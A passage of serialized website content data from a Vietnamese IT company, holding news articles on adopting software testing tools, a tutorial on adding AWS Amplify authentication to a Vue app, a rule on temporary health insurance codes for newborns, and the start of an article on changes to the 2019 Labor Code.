kết quả mong đợi và tiêu chí đánh giá. Trong kế hoạch, bạn nên đặt ra các chỉ số có thể đo lường được, chẳng hạn như tỷ lệ giảm thời gian thực hiện các trường hợp kiểm thử hoặc tỷ lệ cải thiện khả năng phát hiện lỗi.",[11,4812,4813],{},"Tiếp theo, đưa ra các chương trình đào tạo phù hợp cho các thành viên trong nhóm sẽ sử dụng công cụ. Nếu cần, hãy xem xét mời giảng viên bên ngoài hoặc yêu cầu hỗ trợ từ nhà cung cấp công cụ. Sau đó, thực hiện kiểm thử bằng cách sử dụng công cụ và theo dõi kết quả. Nếu có vấn đề phát sinh, cần xử lý kịp thời và phân tích nguyên nhân.",[11,4815,4816],{},"Ngoài ra, để dự án thử nghiệm thành công, cần minh bạch hóa tiến độ dự án và thường xuyên giao tiếp giữa các bên liên quan. Điều này giúp phát hiện sớm các vấn đề và xử lý nhanh chóng.",[11,4818,4819],{},"Cuối cùng, đánh giá kết quả của dự án thử nghiệm và phân tích xem việc triển khai công cụ có tác động như thế nào đến toàn bộ tổ chức. Báo cáo kết quả này cho các bên liên quan và đưa ra quyết định về việc tiếp tục triển khai công cụ hay không. Nếu kết quả đánh giá không đạt kỳ vọng, bạn vẫn có thể sử dụng phản hồi để xem xét lại và tìm kiếm công cụ phù hợp hơn.",[1800,4821,4823],{"id":4822},"các-yếu-tố-thành-công-khi-triển-khai-công-cụ",[20,4824,4825],{},"Các yếu tố thành công khi triển khai công cụ",[11,4827,4828],{},"Để triển khai công cụ thành công, cần xem xét một số yếu tố quan trọng. Trước hết, việc làm rõ lý do tại sao cần triển khai công cụ đó và nó sẽ giải quyết những vấn đề nào là rất quan trọng. Ngoài ra, sự hỗ trợ từ ban lãnh đạo cấp cao hoặc các nhà quản lý trong tổ chức thường giúp quá trình triển khai diễn ra suôn sẻ hơn.",[11,4830,4831],{},"Tiếp theo, cần đảm bảo chia sẻ thông tin một cách kỹ lưỡng giữa các nhóm và xây dựng nhận thức chung về mục tiêu cũng như cách sử dụng công cụ. Đồng thời, việc đánh giá định kỳ tình hình sử dụng công cụ và điều chỉnh quy trình hoặc cài đặt nếu cần sẽ tạo điều kiện cho việc cải tiến liên tục dựa trên phản hồi.",[11,4833,4834],{},"Ví dụ, ghi lại tình trạng sử dụng công cụ và so sánh hiệu quả trước và sau khi triển khai sẽ giúp lượng hóa những tác động cụ thể của công cụ. Ngoài ra, tổ chức các buổi đào tạo định kỳ hoặc hội thảo sẽ giúp các thành viên trong nhóm khai thác tối đa lợi ích của công cụ.",[11,4836,4837],{},"Cuối cùng, để duy trì động lực cho các thành viên, cần chia sẻ các ví dụ thành công và trực quan hóa kết quả đạt được. Chẳng hạn, chia sẻ trường hợp một dự án cụ thể đạt được hiệu quả cao nhờ sử dụng công cụ sẽ giúp các thành viên khác nhận thấy rõ lợi ích của công cụ. Những nỗ lực này sẽ góp phần làm cho việc triển khai công cụ hiệu quả hơn và cải thiện quy trình đảm bảo chất lượng của toàn tổ chức.",[1800,4839,4841],{"id":4840},"ví-dụ-thực-tế-về-việc-lựa-chọn-công-cụ-kiểm-thử",[20,4842,4843],{},"Ví dụ thực tế về việc lựa chọn công cụ kiểm thử",[11,4845,4846],{},"Việc đề cập đến các trường hợp thành công trong lựa chọn công cụ tại thực địa giúp minh họa quy trình cụ thể và các điểm đánh giá quan trọng. Một doanh nghiệp trong dự án phát triển ứng dụng di động quy mô lớn đã triển khai một công cụ tự động hóa kiểm thử giao diện người dùng (UI) để đạt được mục tiêu tự động hóa kiểm thử. Quá trình lựa chọn công cụ của họ đã cân nhắc các yếu tố sau:",[31,4848,4849,4852,4855,4858],{},[34,4850,4851],{},"Hỗ trợ nền tảng và loại thiết bị: Công cụ có hỗ trợ đa dạng các nền tảng và thiết bị cần thiết không.",[34,4853,4854],{},"Dễ dàng tạo và bảo trì kịch bản kiểm thử: Công cụ có giao diện trực quan và hỗ trợ tối ưu hóa việc xây dựng, bảo trì các kịch bản kiểm thử không.",[34,4856,4857],{},"Khả năng báo cáo và hiển thị kết quả kiểm thử: Công cụ có cung cấp báo cáo rõ ràng và dễ hiểu, hỗ trợ việc theo dõi kết quả kiểm thử không.",[34,4859,4860],{},"Chi phí và hình thức cấp phép: Chi phí sử dụng công cụ có phù hợp với ngân sách và có linh hoạt trong các hình thức cấp phép không.",[11,4862,4863],{},"Kết quả là sau khi triển khai công cụ, quá trình lặp lại kiểm thử diễn ra nhanh hơn, thời gian gỡ lỗi được giảm đáng kể.",[11,4865,4866],{},"Dựa trên những trường hợp như vậy, các tổ chức khác có thể xây dựng một khung làm việc để lựa chọn công cụ phù hợp và áp dụng hiệu quả.",[1800,4868,4870],{"id":4869},"công-cụ-chuyên-biệt-theo-ngành",[20,4871,4872],{},"Công cụ chuyên biệt theo ngành",[11,4874,4875],{},"Một số ngành nghề yêu cầu các công cụ chuyên biệt để đáp ứng những yêu cầu và quy định riêng. Dưới đây là một số ví dụ cụ thể:",[31,4877,4878,4881,4884],{},[34,4879,4880],{},"Ngành y tế: Trong lĩnh vực y tế, việc tuân thủ các quy định là rất quan trọng. Do đó, cần có các công cụ cung cấp chức năng truy xuất nguồn gốc và xác minh (validation) đầy đủ. Ngoài ra, các công cụ này cũng cần có tính năng bảo mật cao để bảo vệ dữ liệu bệnh nhân.",[34,4882,4883],{},"Ngành tài chính: Đối với các tổ chức tài chính, kiểm thử bảo mật và kiểm thử tải (load testing) đặc biệt quan trọng. Các công cụ chuyên dụng để kiểm thử hệ thống phân tán thường được sử dụng rộng rãi trong ngành này.",[34,4885,4886],{},"Ngành thương mại điện tử: Trong lĩnh vực thương mại điện tử, việc cải thiện trải nghiệm người dùng là yếu tố then chốt. Vì vậy, các công cụ kiểm thử A\u002FB và kiểm thử hiệu năng (performance testing) thường được sử dụng để tối ưu hóa hiệu quả hoạt động.",[1800,4888,4890],{"id":4889},"đào-tạo-và-nâng-cao-nhận-thức-cho-đội-ngũ",[20,4891,4892],{},"Đào tạo và nâng cao nhận thức cho đội ngũ",[11,4894,4895],{},"Sau khi triển khai công cụ, việc đào tạo liên tục là rất cần thiết. Trong giai đoạn đầu, tổ chức các buổi đào tạo cơ bản để đội ngũ làm quen với cách vận hành và sử dụng công cụ. Tiếp theo, thực hiện các buổi đào tạo theo kịch bản sát với dự án thực tế, hoặc mời chuyên gia tổ chức các hội thảo chuyên sâu nhằm nâng cao kỹ năng cho các thành viên.",[11,4897,4898],{},"Ngoài ra, cần chia sẻ thông tin cập nhật về công cụ cũng như xu hướng mới nhất trong ngành một cách thường xuyên, đồng thời xây dựng một cộng đồng nhằm khai thác tối đa giá trị của công cụ.",[11,4900,4901],{},"Khi các nhà lãnh đạo chủ động thúc đẩy hoạt động giáo dục này, sẽ góp phần nâng cao kỹ năng chung của cả đội ngũ.",[1800,4903,4905],{"id":4904},"xử-lý-sự-cố-và-giải-quyết-vấn-đề",[20,4906,4907],{},"Xử lý sự cố và giải quyết vấn đề",[11,4909,4910],{},"Khi triển khai công cụ, có thể xuất hiện nhiều vấn đề. Dưới đây là một số vấn đề phổ biến và giải pháp đề xuất:",[31,4912,4913,4916,4919],{},[34,4914,4915],{},"Vấn đề về tương thích: Nếu việc tích hợp với các hệ thống khác gặp khó khăn, hãy xem xét sử dụng API để xây dựng tích hợp tùy chỉnh.",[34,4917,4918],{},"Vấn đề về đường cong học tập: Đối với các công cụ khó sử dụng, hãy tạo hướng dẫn chi tiết từng bước và cung cấp sự hỗ trợ từ các huấn luyện viên khi cần thiết.",[34,4920,4921],{},"Vấn đề vượt ngân sách: Thực hiện phân tích chi phí-hiệu quả toàn diện trước khi triển khai và duy trì các buổi đánh giá định kỳ để quản lý chi phí một cách hiệu quả.",[1800,4923,4925],{"id":4924},"triển-vọng-tương-lai-tiềm-năng-của-các-công-cụ-thế-hệ-tiếp-theo",[20,4926,4927],{},"Triển vọng tương lai: Tiềm năng của các công cụ thế hệ tiếp theo",[11,4929,4930],{},"Các công cụ thế hệ tiếp theo sử dụng AI và học máy đang mở ra nhiều khả năng mới trong việc tự động hóa và nâng cao hiệu quả kiểm thử. Ví dụ, công nghệ sử dụng AI để dự đoán hành vi người dùng và tự động tạo các trường hợp kiểm thử đang thu hút sự quan tâm lớn.",[11,4932,4933],{},"Ngoài ra, các công cụ tích hợp trên nền tảng đám mây dành cho các nhóm phân tán được kỳ vọng sẽ tiếp tục phát triển, giúp tăng cường khả năng cộng tác theo thời gian thực. Điều này sẽ mang lại sự linh hoạt và hiệu quả vượt bậc trong việc quản lý và triển khai các dự án kiểm thử.",[11,4935,4936],{},"Việc triển khai công cụ không chỉ đơn thuần là thay đổi hệ thống mà còn là một bước chiến lược nhằm nâng cao quy trình đảm bảo chất lượng của toàn bộ tổ chức. Thông qua việc lựa chọn công cụ phù hợp, thực hiện dự án thử nghiệm, đào tạo liên tục và cải tiến không ngừng, tổ chức có thể đạt được thành công lâu dài.",[11,4938,4939],{},"Hãy tận dụng tối đa hiệu quả của các công cụ kiểm thử bằng cách kết hợp các công nghệ tiên tiến và theo kịp xu hướng mới nhất trong ngành. Điều này sẽ giúp tổ chức duy trì vị thế cạnh tranh và nâng cao chất lượng sản phẩm một cách bền vững.",[11,4941,4942],{},[20,4943,4944],{},"※Bài test kiểm tra",[11,4946,4947],{},[58,4948,4949],{"href":4949,"rel":4950},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-14-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":4952},[],"2025-03-10","Nguyên tắc cơ bản khi lựa chọn công cụ kiểm thử. Trong kiểm thử phần mềm, việc lựa chọn đúng công cụ kiểm thử đóng vai trò then chốt trong việc đảm bảo chất lượng ổn định. Do đó, khi lựa chọn công cụ, cần làm rõ mục đích và yêu cầu sử dụng. Ví dụ, bạn cần xác định rõ rằng mình muốn nâng cao hiệu suất kiểm thử tự động, tăng cường theo dõi lỗi, hay thực hiện kiểm thử hiệu năng. Đồng thời, việc phân tích đặc điểm của hệ thống cần kiểm thử và phạm vi dự án, cũng như định nghĩa các yêu cầu chức năng cần thiết, là điều không thể thiếu.",{},"\u002Fvi\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu",{"title":4769,"description":4954},"vi\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F21170849\u002FScreenshot-2025-02-21-170733.png","9HWnFPNQzXeMwru5PmpqiKCtfPqMNM3qgNZvnBHMLpw",{"id":4962,"title":4963,"body":4964,"category":1430,"created by":70,"date":5280,"description":5281,"extension":72,"meta":5282,"navigation":74,"path":5283,"sections":76,"seo":5284,"stem":5285,"thumbnail":5286,"__hash__":5287},"content_vi\u002Fvi\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify.md","Cách thêm xác thực vào ứng dụng Vue bằng AWS Amplify",{"type":8,"value":4965,"toc":5268},[4966,4970,4973,4976,4980,4989,4993,4996,5002,5005,5010,5013,5019,5023,5027,5030,5035,5038,5043,5046,5050,5053,5057,5060,5064,5067,5070,5073,5076,5079,5082,5085,5088,5095,5098,5102,5105,5110,5113,5118,5121,5124,5127,5130,5133,5136,5139,5151,5159,5163,5166,5171,5175,5182,5188,5192,5195,5201,5204,5210,5213,5217,5220,5226,5229,5233,5236,5242,5245,5253,5256,5262],[498,4967,4969],{"id":4968},"aws-amplify-là-gì","AWS Amplify là gì?",[11,4971,4972],{},"AWS Amplify là một framework mã nguồn mở do Amazon tạo ra, chứa một bộ công cụ và dịch vụ có thể được sử dụng cùng nhau hoặc riêng. Một trong những công cụ là Amplify Auth. Amplify Auth cho phép bạn nhanh chóng thiết lập xác thực an toàn và kiểm soát những gì người dùng có quyền truy cập trong ứng dụng của bạn.",[11,4974,4975],{},"Amplify framework sử dụng Amazon Cognito làm nhà cung cấp xác thực chính. Amazon Cognito là một dịch vụ thư mục người dùng mạnh mẽ xử lý việc đăng ký người dùng, xác thực, khôi phục tài khoản và các hoạt động khác.",[498,4977,4979],{"id":4978},"tạo-tài-khoản-aws","Tạo tài khoản AWS",[11,4981,4982,4983,4988],{},"Để bắt đầu, bạn cần tạo tài khoản AWS tại đây. Nếu bạn chưa có tài khoản AWS, hãy làm theo hướng dẫn ",[58,4984,4987],{"href":4985,"rel":4986},"https:\u002F\u002Faws.amazon.com\u002Fpremiumsupport\u002Fknowledge-center\u002Fcreate-and-activate-aws-account\u002F",[62],"tại đây"," để tạo một tài khoản .",[498,4990,4992],{"id":4991},"tạo-dự-án","Tạo dự án",[11,4994,4995],{},"Chúng ta sẽ sử dụng Vue CLI để tạo ra một dự án để chúng ta bắt đầu. Để làm điều đó, bạn cần cài đặt Vue CLI trên hệ thống của mình. Nếu bạn chưa cài đặt nó, bạn có thể cài đặt nó  bằng lệnh sau:",[4997,4998,4999],"blockquote",{},[11,5000,5001],{},"npm install -g @vue\u002Fcli",[11,5003,5004],{},"Bây giờ chúng ta có thể sử dụng Vue CLI để tạo dự án của mình. Tạo một dự án mới bằng lệnh này:",[4997,5006,5007],{},[11,5008,5009],{},"vue create vue-amplify-auth-tutorial",[11,5011,5012],{},"Bạn sẽ được yêu cầu chọn một giá trị đặt trước. Chọn “Manually select features,” sau đó chọn “babel,” “Router,” và “Linter \u002F Formatter.”",[11,5014,5015,5016],{},"Sau khi Vue CLI hoàn tất, nó sẽ cung cấp cho bạn các lệnh chuyển vào thư mục mới vừa tạo và lệnh khởi động máy chủ. Làm theo các hướng dẫn đó. Sau khi máy chủ được khởi động, bạn có thể mở trình duyệt của mình ",[703,5017,5018],{},"localhost:8080.",[533,5020],{"className":5021,"alt":66,"src":5022,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18150815\u002Fvuejs.png",[498,5024,5026],{"id":5025},"cài-đặt-và-cấu-hình-amplify-cli","Cài đặt và cấu hình Amplify CLI",[11,5028,5029],{},"Amplify CLI là một chuỗi công cụ hợp nhất để tạo các dịch vụ đám mây AWS cho ứng dụng của bạn. Bạn có thể cài đặt nó  bằng lệnh này:",[4997,5031,5032],{},[11,5033,5034],{},"npm install -g @aws-amplify\u002Fcli",[11,5036,5037],{},"Tiếp theo, chúng ta cần cấu hình Amplify bằng cách chạy lệnh sau:",[4997,5039,5040],{},[11,5041,5042],{},"amplify configure",[11,5044,5045],{},"Lệnh này sẽ mở ra một cửa sổ trình duyệt mới và yêu cầu bạn đăng nhập vào bảng điều khiển AWS. Sau khi bạn đã đăng nhập, hãy quay lại thiết bị đầu cuối của bạn và nhấn Enter.",[533,5047],{"className":5048,"alt":66,"src":5049,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151215\u002Fstep1.png",[11,5051,5052],{},"Bạn sẽ được yêu cầu chỉ định Khu vực AWS. Chọn khu vực gần bạn nhất.",[533,5054],{"className":5055,"alt":66,"src":5056,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151627\u002Fstep2.png",[11,5058,5059],{},"Bạn sẽ cần chỉ định tên người dùng của người dùng IAM mới. Nó sẽ cung cấp một tên mặc định mà bạn có thể sử dụng bằng cách nhấn enter hoặc bạn có thể chỉ định tên của chính mình. Tôi sẽ gọi người dùng ở đây: auth-demo",[533,5061],{"className":5062,"alt":66,"src":5063,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F18151944\u002Fstep3.png",[11,5065,5066],{},"Khi nhấn Enter, bạn sẽ được đưa trở lại trình duyệt của mình.",[11,5068,5069],{},"Tiếp theo hãy nhấn nút Permissions",[11,5071,5072],{},"Tiếp theo hãy nhấn nút Tags",[11,5074,5075],{},"Tiếp theo hãy nhấn nút Review",[11,5077,5078],{},"Tiếp theo hãy nhấn nút Create User",[11,5080,5081],{},"Bây giờ quay lại thiết bị đầu cuối của bạn và nhấn Enter để tiếp tục.",[11,5083,5084],{},"Nhập accessKeyId của người dùng mà bạn vừa tạo và nhấn Enter.",[11,5086,5087],{},"Nhập secretAcessKey của người dùng mà bạn vừa tạo và nhấn Enter.",[11,5089,5090,5091,5094],{},"Bạn sẽ được yêu cầu nhập profile name. Chúng ta sẽ chấp nhận giá trị được cung cấp ",[20,5092,5093],{},"mặc định"," bằng cách nhấn Enter.",[11,5096,5097],{},"Khi mọi thứ hoàn tất, bạn sẽ nhận được thông báo trong thiết bị đầu cuối của mình rằng người dùng mới đã được thiết lập thành công.",[498,5099,5101],{"id":5100},"tạo-dịch-vụ-xác-thực","Tạo dịch vụ xác thực",[11,5103,5104],{},"Từ thư mục gốc của ứng dụng Vue của bạn, hãy chạy:",[4997,5106,5107],{},[11,5108,5109],{},"amplify init",[11,5111,5112],{},"Chúng ta cần thêm dịch vụ Xác thực vào ứng dụng Vue của mình. Trong thư mục gốc của ứng dụng Vue của bạn, hãy nhập lệnh này:",[4997,5114,5115],{},[11,5116,5117],{},"amplify add auth",[11,5119,5120],{},"Khi khởi chạy Amplify, bạn sẽ được thông báo về một số thông tin về ứng dụng của mình.",[11,5122,5123],{},"Nhập tên dự án:",[11,5125,5126],{},"Thiết lập môi trường back-end:",[11,5128,5129],{},"Chọn phần mềm soạn thảo mã ưa thích của bạn:",[11,5131,5132],{},"Chúng ta đang sử dụng Vue vì vậy hãy chọn JavaScript framework.",[11,5134,5135],{},"Đây là giá trị mặc định, vì vậy bạn có thể chỉ cần nhấn Enter để tiếp tục.",[11,5137,5138],{},"Khi bạn khởi tạo một dự án Amplify mới, một số điều sẽ xảy ra:",[31,5140,5141,5148],{},[34,5142,5143,5144,5147],{},"Nó tạo ra một thư mục cấp cao nhất được gọi là ",[703,5145,5146],{},"amplify"," để lưu trữ định nghĩa back-end của bạn",[34,5149,5150],{},"Nó tạo một tệp có tên aws-export.js trong thư mục src chứa tất cả các cấu hình cho các dịch vụ bạn tạo bằng Amplify. Đây là cách Amplify client có thể nhận được thông tin cần thiết về các dịch vụ back-end của bạn",[11,5152,5153,5154,56,5156],{},"Để triển khai dịch vụ, hãy chạy lệnh ",[703,5155,5146],{},[703,5157,5158],{},"push",[498,5160,5162],{"id":5161},"cài-đặt-thư-viện-amplify","Cài đặt thư viện Amplify",[11,5164,5165],{},"Chúng ta cần cài đặt Amplify trong ứng dụng Vue. Có thể cài đặt chúng bằng lệnh này:",[4997,5167,5168],{},[11,5169,5170],{},"npm install aws-amplify",[498,5172,5174],{"id":5173},"cấu-hình-ứng-dụng-của-bạn","Cấu hình ứng dụng của bạn",[11,5176,5177,5178,5181],{},"Chúng ta cần thêm Amplify vào ứng dụng Vue của mình. Mở tệp ",[20,5179,5180],{},"main.js"," và thêm phần sau vào.",[696,5183,5186],{"className":5184,"code":5185,"language":701},[699],"import Amplify from 'aws-amplify';\nimport awsconfig from '.\u002Faws-exports'; \nAmplify.configure(awsconfig);\n",[703,5187,5185],{"__ignoreMap":66},[498,5189,5191],{"id":5190},"tạo-trang-đăng-ký","Tạo trang đăng ký",[11,5193,5194],{},"Khi người dùng click nút đăng ký, nó sẽ gọi phương thức đăng ký. Đây là mã cho phương thức đó:",[696,5196,5199],{"className":5197,"code":5198,"language":701},[699],"async register() {\ntry {\nawait Auth.signUp({\nusername: this.email,\npassword: this.password,\n});\nalert('User successfully registered. Please login');\n} catch (error) {\nalert(error.message);\n}\n},\n",[703,5200,5198],{"__ignoreMap":66},[11,5202,5203],{},"Phương thức này sử dụng Auth từ gói aws-amplify mà chúng ta đã cài đặt. Thêm câu lệnh này cho nó ở đầu phần tập lệnh.",[696,5205,5208],{"className":5206,"code":5207,"language":701},[699],"import { Auth } from 'aws-amplify';\n",[703,5209,5207],{"__ignoreMap":66},[11,5211,5212],{},"Bây giờ, hãy mở ứng dụng của bạn và đăng ký một người dùng mới. Nếu thành công, bạn sẽ nhận được thông báo cho biết người dùng đã được đăng ký.",[498,5214,5216],{"id":5215},"tạo-một-trang-đăng-nhập","Tạo một trang đăng nhập",[11,5218,5219],{},"Chúng ta cần thực hiện  phương thức đăng nhập.",[696,5221,5224],{"className":5222,"code":5223,"language":701},[699],"async login() {\ntry {\nawait Auth.signIn(this.email, this.password);\nalert('Successfully logged in');\n} catch (error) {\nalert(error.message);\n}\n},\n",[703,5225,5223],{"__ignoreMap":66},[11,5227,5228],{},"Bây giờ, nếu bạn mở ứng dụng của mình, bạn sẽ có thể đăng nhập bằng người dùng mà bạn đã đăng ký trước đó.",[498,5230,5232],{"id":5231},"thêm-phương-thức-đăng-xuất","Thêm phương thức đăng xuất",[11,5234,5235],{},"Thêm một đối tượng phương thức và bao gồm phương thức đăng xuất. Nó sẽ giống như thế này:",[696,5237,5240],{"className":5238,"code":5239,"language":701},[699],"methods: {\nasync logout() {\ntry {\nawait Auth.signOut();\n} catch (error) {\nalert(error.message);\n}\n},\n},\n",[703,5241,5239],{"__ignoreMap":66},[11,5243,5244],{},"Xin chúc mừng, bạn đã thêm xác thực AWS Amplify thành công vào ứng dụng Vue của mình.",[11,5246,5247,5248,974],{},"Liên kết source code từ ",[58,5249,5252],{"href":5250,"rel":5251},"https:\u002F\u002Fgitlab.com\u002Fbwv-hp\u002Famplify-demo",[62],"Gitlab",[1800,5254,55],{"id":5255},"tài-liệu-tham-khảo",[11,5257,5258],{},[58,5259,5260],{"href":5260,"rel":5261},"https:\u002F\u002Faws.amazon.com\u002Famplify\u002F",[62],[11,5263,5264],{},[58,5265,5266],{"href":5266,"rel":5267},"https:\u002F\u002Fblog.thundra.io\u002Fhow-to-build-an-application-in-minutes-with-aws-amplify",[62],{"title":66,"searchDepth":67,"depth":67,"links":5269},[5270,5271,5272,5273,5274,5275,5276,5277,5278,5279],{"id":4968,"depth":67,"text":4969},{"id":4978,"depth":67,"text":4979},{"id":4991,"depth":67,"text":4992},{"id":5025,"depth":67,"text":5026},{"id":5100,"depth":67,"text":5101},{"id":5161,"depth":67,"text":5162},{"id":5173,"depth":67,"text":5174},{"id":5190,"depth":67,"text":5191},{"id":5215,"depth":67,"text":5216},{"id":5231,"depth":67,"text":5232},"2022-03-14","AWS Amplify là gì? AWS Amplify là một framework mã nguồn mở do Amazon tạo ra, chứa một bộ công cụ và dịch vụ có thể được sử dụng cùng nhau hoặc riêng. Một trong những công cụ là Amplify Auth. Amplify Auth cho phép bạn nhanh chóng thiết lập xác thực an toàn và kiểm soát những gì người dùng có quyền truy cập trong ứng dụng của bạn.",{},"\u002Fvi\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify",{"title":4963,"description":5281},"vi\u002Fnews\u002Fcach-them-xac-thuc-vao-ung-dung-vue-bang-aws-amplify","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F01\u002F21140420\u002Fvue_applify.jpg","GRfk7yh4nnnQB89AbYFcR715Poe6SayhT38bYNL2gHs",{"id":5289,"title":5290,"body":5291,"category":69,"created by":70,"date":5329,"description":5330,"extension":72,"meta":5331,"navigation":74,"path":5332,"sections":76,"seo":5333,"stem":5334,"thumbnail":5335,"__hash__":5336},"content_vi\u002Fvi\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh.md","CẤP THẺ BHYT TẠM THỜI CHO TRẺ CHƯA CÓ GIẤY KHAI SINH",{"type":8,"value":5292,"toc":5327},[5293,5296,5310,5313,5316,5320],[11,5294,5295],{},"Khoản 1 Điều 10 Thông tư 30\u002F2020\u002FTT-BYT quy định: Trẻ sau khi sinh ra được hưởng quyền lợi bảo hiểm y tế (BHYT) theo quy định của Luật BHYT, nhưng chưa được cơ quan Bảo hiểm xã hội cấp thẻ BHYT do chưa làm thủ tục cấp giấy khai sinh thì cơ sở khám bệnh, chữa bệnh ghi mã thẻ BHYT tạm thời, gồm các nội dung:",[31,5297,5298,5301,5304,5307],{},[34,5299,5300],{},"Mã đối tượng: ghi ký hiệu là TE;",[34,5302,5303],{},"Mã mức hưởng quyền lợi bảo hiểm y tế: ghi ký hiệu là số 1;",[34,5305,5306],{},"Mã tỉnh, thành phố trực thuộc trung ương: ghi theo quy định tại Quyết định 124\u002F2004\u002FQĐ-TTg nơi người mẹ hoặc người giám hộ hợp pháp cư trú hoặc nơi cơ sở khám bệnh, chữa bệnh đặt trụ sở đối với trường hợp trẻ sơ sinh không có người nhận hoặc bị bỏ rơi tại cơ sở khám bệnh, chữa bệnh;",[34,5308,5309],{},"Mã định danh y tế: ghi theo quy định tại Quyết định 2153\u002FQĐ-BYT 2020.",[11,5311,5312],{},"Như vậy, trẻ em ngay khi sinh ra dù chưa làm giấy khai sinh cũng được cấp mã thẻ BHYT tạm thời.",[11,5314,5315],{},"Thông tư có hiệu lực từ 01\u002F03\u002F2021.",[11,5317,5318,64],{},[1277,5319,55],{},[11,5321,5322],{},[58,5323,5326],{"href":5324,"rel":5325},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThe-thao-Y-te\u002FThong-tu-30-2020-TT-BYT-huong-dan-Nghi-dinh-146-2018-ND-CP-huong-dan-Luat-bao-hiem-y-te-461154.aspx",[62],"Thông tư 30\u002F2020\u002FTT-BYT",{"title":66,"searchDepth":67,"depth":67,"links":5328},[],"2021-06-11","Khoản 1 Điều 10 Thông tư 30\u002F2020\u002FTT-BYT quy định: Trẻ sau khi sinh ra được hưởng quyền lợi bảo hiểm y tế (BHYT) theo quy định của Luật BHYT, nhưng chưa được cơ quan Bảo hiểm xã hội cấp thẻ BHYT do chưa làm thủ tục cấp giấy khai sinh thì cơ sở khám bệnh, chữa bệnh ghi mã thẻ BHYT tạm thời, gồm các nội dung",{},"\u002Fvi\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh",{"title":5290,"description":5330},"vi\u002Fnews\u002Fcap-the-bhyt-tam-thoi-cho-tre-chua-co-giay-khai-sinh","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F22093843\u002FCapTheBHYTChoTreEm.png","2ShtGkXe79YbhHeZc6xoYXXcy4CvRfBSGrCMQclTurA",{"id":5338,"title":5339,"body":5340,"category":69,"created by":70,"date":5402,"description":5403,"extension":72,"meta":5404,"navigation":74,"path":5405,"sections":76,"seo":5406,"stem":5407,"thumbnail":5408,"__hash__":5409},"content_vi\u002Fvi\u002Fnews\u002Fchanges-laborrule-2021.md","CÁC ĐIỂM MỚI CỦA BỘ LUẬT LAO ĐỘNG SỬA ĐỔI CÓ HIỆU LỰC TỪ NĂM 2021",{"type":8,"value":5341,"toc":5400},[5342,5345,5350,5353,5364,5367,5372,5375,5380,5383,5388,5391],[11,5343,5344],{},"Bộ luật Lao động (BLLĐ) 2019 có hiệu lực thi hành từ 01\u002F01\u002F2021 quy định nhiều điểm mới về tiền lương, thưởng mà người lao động (NLĐ) cần phải biết để bảo đảm quyền và lợi ích chính đáng của bản thân, cụ thể:",[11,5346,5347],{},[20,5348,5349],{},"1.Thêm ngày nghỉ hưởng nguyên lương",[11,5351,5352],{},"Từ năm 2021, theo Khoản 1, Điều 113, BLLĐ 2019, NLĐ làm việc đủ 12 tháng cho một người sử dụng lao động thì được nghỉ hằng năm, hưởng nguyên lương theo hợp đồng lao động như sau:",[31,5354,5355,5358,5361],{},[34,5356,5357],{},"12 ngày đối với người làm việc trong điều kiện bình thường;",[34,5359,5360],{},"14 ngày đối với người lao động chưa thành niên, lao động là người khuyết tật, người làm nghề, công việc nặng nhọc, độc hại, nguy hiểm;",[34,5362,5363],{},"16 ngày đối với người làm nghề, công việc đặc biệt nặng nhọc, độc hại, nguy hiểm.",[11,5365,5366],{},"Liên quan đến việc tăng thêm ngày nghỉ lễ, NLĐ được nghỉ làm việc, hưởng nguyên lương vào dịp Quốc khánh là 02 ngày (hiện tại là 01 ngày) gồm ngày 02\u002F09 và một ngày liền kề trước hoặc sau. Như vậy, tổng số ngày nghỉ lễ, Tết là 11 ngày, tăng 01 ngày so với Luật lao động cũ.",[11,5368,5369],{},[20,5370,5371],{},"2. Thêm nhiều trường hợp NLĐ được nghỉ việc riêng và hưởng nguyên lương",[11,5373,5374],{},"Khoản 1, Điều 115 bổ sung thêm trường hợp cha nuôi, mẹ nuôi; cha nuôi, mẹ nuôi của vợ hoặc chồng chết thì NLĐ được nghỉ 03 ngày và hưởng nguyên lương.Đồng thời, quy định rõ hơn trường hợp \"con đẻ\", \"con nuôi\" kết hôn thì được nghỉ 01 ngày (hiện hành, quy định \"con\" kết hôn thì nghỉ 01 ngày); \"con đẻ\", \"con nuôi\" chết thì được nghỉ 03 ngày (hiện hành quy định \"con\" chết thì nghỉ 3 ngày).",[11,5376,5377],{},[20,5378,5379],{},"3. Không được trả lương đúng hạn, NLĐ có thể nghỉ việc ngay không cần báo.",[11,5381,5382],{},"Theo Điểm b, Khoản 2, Điều 35, BLLĐ 2019, thì NLĐ có quyền đơn phương chấm dứt hợp đồng lao động mà không cần báo trước cho NSDLĐ nếu không được trả đủ lương hoặc trả lương không đúng thời hạn, trừ trường hợp quy định tại Khoản 4 Điều 97 BLLĐ 2019 (hiện hành phải báo trước 03 ngày).",[11,5384,5385],{},[20,5386,5387],{},"4. Lãi suất khi tính tiền đền bù do chậm trả lương cho 